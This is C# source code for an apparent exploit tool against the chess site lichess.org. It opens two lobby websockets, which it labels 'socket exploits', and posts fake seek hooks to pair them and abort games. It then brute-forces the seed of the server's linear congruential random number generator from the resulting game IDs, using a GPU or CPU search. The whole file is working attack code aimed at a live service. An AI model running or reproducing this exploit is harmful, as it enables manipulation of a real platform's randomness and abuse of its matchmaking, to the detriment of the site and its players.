public long CrackGpu(int[] sequence)
{
if (sequence.Length != 16)
{
return(-1);
}
List <long> lows = new List <long>();
long bit17 = sequence[0] & 1;
for (long low = 0; low < (1L << 17); low++)
{
long seed = (bit17 << 17) | low;
bool isSeed = true;
for (int n = 0; n < sequence.Length; n++)
{
seed = (seed * multiplier + increment) & mask;
if (((seed >> 17) & 1) != (sequence[n] & 1))
{
isSeed = false;
break;
}
}
if (isSeed)
{
lows.Add(low);
}
}
for (int i = 0; i < lows.Count; i++)
{
long seedArray = Gpu.CrackHigh(sequence, lows[i]);
if (seedArray != 0)
{
return(seedArray);
}
}
return(-1);
}
internal static long CrackSeed(bool preferGpu)
{
Cracker cracker = new Cracker(0x5DEECE66DL, 0xBL);
Dictionary <string, string> seekData = new Dictionary <string, string>();
seekData.Add("variant", "1");
seekData.Add("timeMode", "1");
seekData.Add("time", "1");
seekData.Add("increment", "0");
seekData.Add("days", "1");
seekData.Add("mode", "0");
seekData.Add("color", "white");
StrongSocket player1 = new StrongSocket("/lobby/socket/v1", 0, null);
StrongSocket player2 = new StrongSocket("/lobby/socket/v1", 0, null);
Console.WriteLine("Created socket exploits.");
Console.Write("Connecting sockets...");
Task <bool> con1 = player1.Connect();
Task <bool> con2 = player2.Connect();
Task.WaitAll(con1, con2);
Console.WriteLine("Done.");
Console.Write("Checking Gpu Capabilities...");
bool useGpu = Gpu.Init() && preferGpu;
Console.WriteLine("Done.");
Stopwatch sw = Stopwatch.StartNew();
long seed = -1;
int pass = 1;
do
{
Console.Write("[Pass {0}] Posting fake hook...", pass);
string query = Http.ToQuery(seekData);
CookieCollection anonCookies = new CookieCollection();
HttpWebResponse result = Http.Post(string.Format("http://{0}.lichess.org/setup/hook/{1}", CultureInfo.CurrentCulture.TwoLetterISOLanguageName, player1.Sri), query, Http.Accept.None, anonCookies);
if (result == null)
{
Console.WriteLine("Fail.");
Console.WriteLine("Lichess routes have changed.");
break;
}
Console.WriteLine("Done");
Task <bool> join;
byte[] buf = new byte[8192];
using (GZipStream rdr = new GZipStream(result.GetResponseStream(), CompressionMode.Decompress))
{
int len = rdr.Read(buf, 0, buf.Length);
string res = Encoding.ASCII.GetString(buf, 0, len);
JObject json = (JObject)JsonConvert.DeserializeObject(res);
string hookId = json["hook"]["id"].ToString();
join = player2.Send("join", hookId);
}
result.Dispose();
result = null;
Console.Write("[Pass {0}] Waiting for pairing...", pass);
StrongSocket.Event e1 = player1.Listen("redirect");
StrongSocket.Event e2 = player2.Listen("redirect");
JObject j1 = player1.On(e1);
JObject j2 = player2.On(e2);
player2.Send("abort").Wait();
Console.WriteLine("Done.");
if (j1 == null || j2 == null)
{
Console.WriteLine("Failed.");
break;
}
string white = j1["d"]["id"].Value <string>();
string black = j2["d"]["id"].Value <string>();
string target = string.Format("{0}{1}{2}", white.Substring(8), black.Substring(8), white.Substring(0, 8));
int[] sequence = Cracker.ConvertAlphanumeric(target);
if (useGpu)
{
Console.Write("[Pass {0}] Cracking sequence using GPU...", pass);
seed = cracker.CrackGpu(sequence);
Console.WriteLine("Done.", pass);
}
else
{
Console.Write("[Pass {0}] Cracking sequence using CPU...", pass);
seed = cracker.CrackCpu(sequence, 16);
Console.WriteLine("Done.", pass);
}
Console.WriteLine("[Pass {0}] Finished pass.", pass);
pass++;
}while (seed == -1);
sw.Stop();
if (seed != -1)
{
Console.WriteLine("Seed -> {0}", seed);
}
Console.Write("Diposing resources...");
Gpu.Dispose();
player1.Dispose();
player2.Dispose();
Console.WriteLine("Done.");
return(seed);
}
